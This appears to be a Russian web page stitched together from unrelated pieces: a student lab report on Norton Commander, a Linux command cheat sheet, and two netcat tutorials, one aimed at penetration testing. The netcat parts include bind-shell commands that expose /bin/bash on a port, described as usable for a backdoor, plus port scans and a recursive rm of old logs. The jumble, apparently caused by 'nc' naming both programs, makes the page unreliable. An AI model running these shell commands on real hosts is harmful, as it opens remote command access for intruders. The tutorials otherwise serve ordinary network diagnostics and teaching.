Энциклопедия мобильной связи

Основные команды Norton Commander. Использование Netcat для создания и тестирования соединений TCP и UDP на VPS Netcat nc с поддержкой параметра

Кафедра проектирования дорог

Лабораторная работа №1

по курсу «Информатика»

Выполнил студент группы №114359 Райхман Сергей Юрьевич

Проверил

Лабораторная работа №1

Тема: Сервисная программа Norton Commander

Цель: Научиться осуществлять управление компьютером с помощью Norton Commander

Norton Commander позволяет выполнять следующие функции: 1) выполнять функции MS-DOS, 2) Отображать содержание каталогов на дисках, 3) изображать дерево каталогов на диске, 4) просматривать файлы, 5) редактировать текстовые файлы, 6) копировать, перемещать, переименовывать, удалять файлы, 7) изменять атрибуты файлов.

Запуск Norton Commander

Для запуска Norton Commander необходимо набрать в командной строке “nc” и нажать “Enter” (ввод). Выход из Norton Commander – клавиша F10 или ALT+X

Вид экрана и панелей

После запуска Norton Commander на экране появляются два прямоугольных окна (панели).


Ниже этих панелей располагается приглашение MS-DOS и информационная строка со значениями функциональных клавиш.

F1 HELP – краткая информация о назначении клавиш при работе NC.

F2 MENU – пользовательское меню

F3 VIEW – просмотр текстового файла, документа

F4 EDIT – редактирование текстового файла

F5 COPY – копирование файлов

F6 RENMOV – пересылка, переименование файла

F7 MKDIR – создание каталога (подкаталогов)

F8 DELETE – удаление файлов или подкаталогов

F9 PULL DN – в верхней строке экрана выводятся меню, содержащие режимы работы NC.

F10 QUIT – выход из NC

Меню при нажатии клавиши F9

Left и Right – задаются режимы вывода информации на левой и правой панелях

Files – производятся различные операции с файлами

Commands – выполняются различные команды NC, задается конфигурация NC и режимы работы.

Один из пунктов меню является выделенным, для выбора другого пункта пользуются стрелками <¬>, <­>, <®>, <¯> и нажимается клавиша “Enter”.

Выделение файлов

Для копирования, удаления, перемещения файлов необходимо их выделить нажатием клавиши Ins. Для отмены выделения необходимо повторно нажать “Ins”. Внизу панели появляется информация о количестве выделенных файлов.

Создание каталога

Для создания каталога нажать клавишу “F7”, набрать его имя, нажать “Enter”.

Для входа в каталог необходимо на его имени нажать клавишу “Enter”. При нажатии клавиш “ALT+F10” на экран выводится дерево каталогов. Клавишами перемещения курсора можно быстро переместиться в нужный подкаталог.

Основные клавиши NC

TAB – переход на другую панель

ALT+F1 – вывод в левой панели оглавления другого диска.

ALT+F2 – вывод в правой панели оглавления другого диска

CTRL+F1 – убрать левую панель с экрана

CTRL+F2 – убрать правую панель с экрана

CTRL+O – убрать обе панели

CTRL+U – поменять панели местами

Для запуска компьютера необходимо в строке приглашения набрать “LOGIN”, ввести пароль (335_2).

Задания по лабораторной работе

С помощью команд, создать на диске структуру подкаталогов:


В этой заметке будут фиксироваться полезные команды для Linux-based systems, с которыми нам приходилось иметь дело.

Удаление старых файлов в Linux

# find /var/log -mtime +60 -type f -exec rm -rf {} \;

В данном примере будут рекурсивно удалены все файлы в каталоге /var/log, чья дата изменения старше 60-ти дней.

Как сделать “telnet” с помощью утилиты netcat (nc)

# nc -v -w 5 10.200.7.2 -z 1414-1420

V: Дополнительная диагностика (verbose)

W 5: тайм-аут (в секундах)

10.200.7.2: host

Z 1414-1420: диапазон портов

# nc -v -w 5 10.200.7.2 -z 1414-1420 nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress Connection to 10.200.7.2 1417 port succeeded! nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

# nc -v -w 5 10.200.7.2 -z 1414-1420

nc: connect to 10.200.7.2 port 1414 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1415 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1416 (tcp) timed out: Operation now in progress

Connection to 10.200.7.2 1417 port succeeded!

nc: connect to 10.200.7.2 port 1418 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1419 (tcp) timed out: Operation now in progress

nc: connect to 10.200.7.2 port 1420 (tcp) timed out: Operation now in progress

Как определить версию Unix системы

Для начала понимаем что это вообще за класс ОС, путем вывода универсальной для всех Unix-систем команды:

# uname -a

которая нам выведет что-то подобное:

Linux hostname.com 2.6.18-194.17.4.el5PAE #1 SMP Mon Oct 25 16:35:27 EDT 2010 i686 i686 i386 GNU/Linux

FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE #0: Wed Dec 5 20:00:38 MSK 2007 [email protected]:/usr/obj/usr/src/sys/GENERIC i386 или AIX svcas07 3 4 000145364C00

из чего нам либо станет понятно кто это. Для того чтобы уже конкретно определить версию linux:

# cat /proc/version

Linux version 2.6.18-194.17.4.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-48)) #1 SMP Mon Oct 25 16:35:27 EDT 2010

то есть теперь известно семейство linux и версия ядра.

У семейства Red Hat есть более подробная команда, для того чтобы узнать версию linux:

# cat /etc/redhat-release

CentOS release 5.6 (Final)

По хорошему это исчерпывающий ответ, но в Red Hat также имеется дополнительная утилита ставящаяся в полном комплекте, которая выведет более подробную информацию про версию linux:

# lsb_release -a

LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor ID: CentOS Description: CentOS release 5.5 (Final) Release: 5.5 Codename: Final

Еще вариант:

# cat ls /etc/*{-,_}{release,version} 2>/dev/null | head -n 1

Как посмотреть кто «держит» директорию

# fuser -uc dir_name

fuser - утилита, идентифицирующая процессы, которые используют указанные файлы или сокеты. -c Подобно параметру -m и применяется для совместимости с POSIX.

-m В качестве name указывается файл на смонтированной файловой системе или смонтированное специальное блочное устройство. Выводится список всех процессов, которые используют файлы на этой файловой системе. Если указанный файл является каталогом, тогда к его имени автоматически добавляется name/. и рассматривается любая файловая система, которая может быть смонтирована на этот каталог.

-u Добавляет к каждому PID имя владельца процесса.

Считаем, сколько места на диске занимает каталог

# du -sh /var

Выводим в Мб или Гб.

Просмотр файла с возможностью скроллинга вверх и вниз

# less file.txt

Получение любой даты из системы

# date -d “строка”

где строка может содержать значения: “1 day ago”, “1 week ago”, “1 year ago”.

Просмотр последних n строк из файла

# tail -n

Например просмотр последних 20 строк: tail -20 access_log

Слежение за файлом

# tail -f access_log

Команда tail с ключом f позволяет следить за файлом: новые строки (добавляемые в конец файла другим процессом) автоматически выводятся на экран в реальном времени. Это особенно удобно для слежения за журналами.

Вывести все java-процессы

# ps –ef| grep java

Удобно использовать для отображения всех процессов сервера приложений.

Работа с логом access.log HTTP-сервера

# head -10 access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq

Показывает первые 10 строк из журнала access.2014.08.14.log, сортируя и исключая дубликаты, в формате “ip_клиента/доменное_имя_клиента, URL, HTTP-код”.

# cat access.2014.08.14.log | cut -d ” ” -f 1,8,10 | sort | uniq > access_result.txt

Тоже самое но с выводом в файл C:\access_result.txt.

В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


Что можно сделать с помощью netcat:

  • Сканировать порты;
  • Перенаправлять порты;
  • Производить сбор баннеров сервисов;
  • Слушать порт (биндить для обратного соединения);
  • Скачивать и закачивать файлы;
  • Выводить содержимое raw HTTP;
  • Создать мини-чат.

Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

Практические примеры

Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

Проверка наличия открытого TCP-порта 12345

$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port succeeded!
SSH-2.0-OpenSSH

Сканирование TCP-портов с помощью netcat:

$ nc -vnz 192.168.1.100 20-24

При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 succeeded!

Отправка UDP-пакета

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Это может быть полезно при взаимодействии с сетевыми устройствами.

Прием данных на UDP-порту и вывод принятых данных

$ nc -u localhost 7777

После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


$ while true; do nc -u localhost 7777; done

Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact в роли простейшего веб-сервера.

Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


$ while true; do nc -lp 8888 < index.html; done

C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


$ while true; do sudo nc -lp 80 < test.html; done

Чат между узлами

На первом узле (192.168.1.100):


$ nc -lp 9000

На втором узле:


$ nc 192.168.1.100 9000

После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:


nc -e /bin/bash -lp 4444

Теперь можно соединиться с удаленного узла:


$ nc 192.168.1.100 4444

Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

Основные команды NC вызываются функциональными клавишами F1 - F10. Список этих команд расположен в нижней информационной строке экрана.

а) Подсказка, помощь, Help, F1 (рис.2, 3).

При нажатии этой клавиши на экране появляются: краткое описание системы Norton Commander и подсказка, описывающая назначение клавиш и команд.

б) меню пользователя, Menu, F2 (рис.4)

С помощью этой команды на экран вызывается дополнительное меню, созданное пользователем.

в) просмотр содержимого файла, View, F3 (рис.5).

Курсор надо поставить на имя файла, содержание которого требуется просмотреть и нажать клавишу F3. На экране монитора высветится содержание файла, которое можно увидеть, прочитать, но невозможно производить редактирование.

г) Редактирование текста, Edit, F4 (рис.6)

Чтобы загрузить файл во встроенный редактор Norton Commander, нужно указать этот файл курсором и нажать клавишу F4. В целях редактирования перемещение курсора можно осуществлять клавишами управления курсором. Встроенный редактор Norton Commander может работать с файлом объем которого не превышает 30 Кбайт. Для файлов с большим объемом используется внешний редактор, если он настроен в системе Norton Commander. Для загрузки файла во внешний редактор используют команду, вызываемую нажатием ALT + F4.

д) Копирование файлов и каталогов, Copy, F5 (рис.7, 8, 9)

Для копирования файла необходимо определить каталог, где он находится (источник) и куда будет копироваться (приемник). В пассивной панели нужно открыть каталог-приемник, а в активной панели-каталог-источник. В последнем нужно курсором указать копируемый файл и нажать F5. В появившемся диалоговом окне, после нажатия F5, нужно подтвердить копирование. При необходимости здесь можно исправить имя каталога-приемника или дать другое имя для файла копии.

При копировании группы файлов сначала их нужно отметить, для чего курсор подводится к имени нужного файла и нажимается клавиша Insert. При этом имя отмеченного файла изменит цвет и фон. Для снятия отметки с файла, на котором находится курсор, достаточно еще раз нажать клавишу Insert. Копирование производится нажатием клавиши F5. В появившемся диалоговом окне нужно подтвердить копирование как одиночного файла, так и группы (всех) файлов.

Если нужно скопировать все файлы каталога, то для выделения их достаточно нажать клавишу с знаком * малой цифровой клавиатуры. Для отмены выделения нужно повторно нажать эту клавишу.

Если нужно скопировать все файлы определенной группы, то для выделения их достаточно нажать клавишу с одинарным знаком + малой цифровой клавиатуры и в появившемся диалоговом окна выбрать признак группы и нажать Enter. И наоборот, для отмены выделения нужно нажать клавишу с одинарным знаком минус (-) и нажать клавишу Enter.


Для инверсного выделения нужно нажать клавишу с знаком * малой цифровой клавиатуры.

Признаки групп, указываемые при копировании, достаточно множественны. Некотрорые примеры показаны в таблице 1. Таблица 1

Оригинал: Useful netcat examples on Linux
Автор: Dan Nanni
Дата публикации: 27 января 2014 г.
Перевод: А.Панин
Дата перевода: 7 сентября 2016 г.

Обычно называемая "швейцарским ножом" для TCP/IP-сетей, утилита является чрезвычайно гибким инструментом, позволяющим выполнять практически все возможные действия с TCP/UDP-сокетами в Linux. Это один из наиболее популярных инструментов для диагностики и экспериментов с сетями в среде системных администраторов.

Учтите, что при использовании nc для приема соединений на портах известных сетевых служб (0-1023) вам понадобятся привилегии пользователя root. Во всех остальных случаях для корректной работы nc достаточно прав обычного пользователя.

1. Проверка наличия определенного открытого TCP-порта на удаленном узле

$ nc -vn 192.168.233.208 5000 nc: connect to 192.168.233.208 5000 (tcp) failed: Connection refused $ nc -v 192.168.233.208 22 Connection to 192.168.233.208 22 port succeeded! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Отправка тестового UDP-пакета на удаленный узел

Приведенная ниже команда предназначена для отправки тестового UDP-пакета с задержкой в 1 секунду на порт 5000 удаленного узла с заданным адресом.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Сканирование TCP-портов на удаленном узле

Приведенная ниже команда предназначена для сканирования портов из диапазонов и и вывода списка открытых портов.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Копирование файла (например, my.jpg) с узла с именем hostA.com на узел с именем hostB.com

$ nc -lp 5000 > my.jpg

$ nc hostB.com 5000 < my.jpg

5. Передача директории (со всем содержимым) с узла hostA.com на узел hostB.com

На узле с именем hostB.com (принимающая сторона):

$ nc -l 5000 | tar xvf -

На узле с именем hostA.com (передающая сторона):

$ tar cvf - /path/to/dir | nc hostB.com 5000

6. Сканирование UDP-портов на удаленном узле

$ nc -vnzu 192.168.1.8 1-65535 Connection to 192.168.1.8 68 port succeeded! Connection to 192.168.1.8 5353 port succeeded! Connection to 192.168.1.8 16389 port succeeded! Connection to 192.168.1.8 38515 port succeeded! Connection to 192.168.1.8 45103 port succeeded!

Приведенная выше команда позволяет вывести список открытых, принимающих данные UDP-портов на удаленном сервере.

7. Ожидание данных на UDP-порту и вывод принятых данных в текстовом формате

Приведенная ниже команда позволяет принимать сообщения (строки текста) на заданном UDP-порту.

$ nc -u localhost 5000

Обратите внимание на то, что данная команда будет завершать свою работу сразу же после приема первого сообщения. Если вы хотите принимать серию сообщений, вам придется использовать цикл while следующим образом:

$ while true; do nc -u localhost 5000; done

8. Сохранение (сжатого) файла образа жесткого диска (например, /dev/sdb) на удаленном сервере

На удаленном сервере:

$ nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

На локальном узле, на котором установлен жесткий диск:

$ dd if=/dev/sdb | gzip -c | nc remote_server.com 5000

9. Восстановление содержимого жесткого диска из сжатого файла образа, сохраненного на удаленном сервере

На локальном узле:

$ nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

На удаленном сервере, на котором сохранен файл образа жесткого диска (например, /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Передача статической веб-страницы по аналогии с веб-сервером

Выполните приведенную ниже команду для запуска веб-сервера, который будет передавать веб-страницу с именем test.html клиентам, соединяющимся с портом 8000.

$ while true; do nc -lp 8000 < test.html; done

Теперь проверьте доступность веб-страницы, перейдя с помощью веб-браузера по адресу: http://:8000/test.html . Обратите внимание на то, что для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc с привилегиями пользователя root следующим образом:

$ while true; do sudo nc -lp 80 < test.html; done

11. Организация незащищенного чата между двумя узлами

На первом узле (192.168.233.203):

$ nc -lp 5000

На втором узле:

$ nc 192.168.233.203 5000

После выполнения двух приведенных выше команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

12. Запуск "удаленной командной оболочки", позволяющей выполнять произвольные команды на удаленном узле в процессе работы с локальным узлом

На удаленном узле (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

На локальном узле:

$ nc 192.168.233.208 5000

После выполнения приведенной выше команды на локальном узле вы сможете выполнять любые команды на удаленном узле посредством окна терминала локального узла. Команды будут выполняться на удаленном узле, при этом вывод этих команд будет появляться в окне терминала локального узла. Данный подход может использоваться для создания бэкдора на удаленном узле.

13. Создание веб-прокси для определенного веб-сайта (например, google.com)

$ mkfifo proxypipe $ while true; do nc -l 5000 0Proxypipe; done

Приведенные выше команды позволяют создать именованный канал proxypipe и использовать утилиту nc для перенаправления всех соединений по протоколу TCP с портом 5000 локального узла на веб-сайт http://www.google.com посредством двунаправленного канала. После выполнения этих команд вы сможете попасть на главную страницу поисковой системы Google, введя в адресную строку веб-браузера адрес http://127.0.0.1:5000.

14. Создание SSL-прокси для определенного веб-сайта (например, google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe < proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe > proxypipe2; done

Приведенные выше команды позволяют использовать утилиту nc для создания прокси-сервера с поддержкой протокола SSL, позволяющего устанавливать соединения с веб-сайтом google.com.

15. Потоковая передача видеофайла с сервера и его просмотр с помощью проигрывателя mplayer на клиентской машине

На сервере потоковой передачи видео (192.168.233.208):

$ cat video.avi | nc -l 5000

На клиентской системе:

$ nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Прием соединений по протоколу TCP на определенном порту с использованием адреса IPv6

Приведенные ниже команды позволяют утилите nc использовать адрес IPv6 при приеме соединений на TCP-порту. Это может понадобиться в процессе тестирования корректности настройки адресации IPv6 в сети.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* LISTEN 4099/nc

Если вам понравилась статья, поделитесь ею с друзьями:



Понравилась статья? Поделитесь с друзьями!
Была ли эта статья полезной?
Да
Нет
Спасибо, за Ваш отзыв!
Что-то пошло не так и Ваш голос не был учтен.
Спасибо. Ваше сообщение отправлено
Нашли в тексте ошибку?
Выделите её, нажмите Ctrl + Enter и мы всё исправим!